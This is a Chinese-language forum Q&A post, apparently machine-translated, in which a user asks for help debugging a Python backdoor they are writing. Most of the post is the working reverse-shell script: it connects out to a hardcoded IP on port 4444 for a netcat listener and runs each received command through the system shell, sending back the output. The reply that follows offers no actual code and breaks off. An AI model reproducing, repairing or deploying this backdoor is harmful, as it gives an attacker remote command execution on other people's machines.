大家好,我正在建立一个Python后门。所以,当我为listener启动netcat并启动后门时,它会连接所有东西,但当我键入ipconfig时,它会显示“无法找到指定的文件目录”或类似的内容。代码如下:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')
while 1:
data = s.recv(1024)
if data == 'quit' : break
proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(b'\n' + stdoutput)
# Exiting
s.send(b'\nExiting...\n')
s.close()
试试这个:
希望不要太多。我还添加了一些特性。 你是戈达姆欢迎:)
相关问题 更多 >
编程相关推荐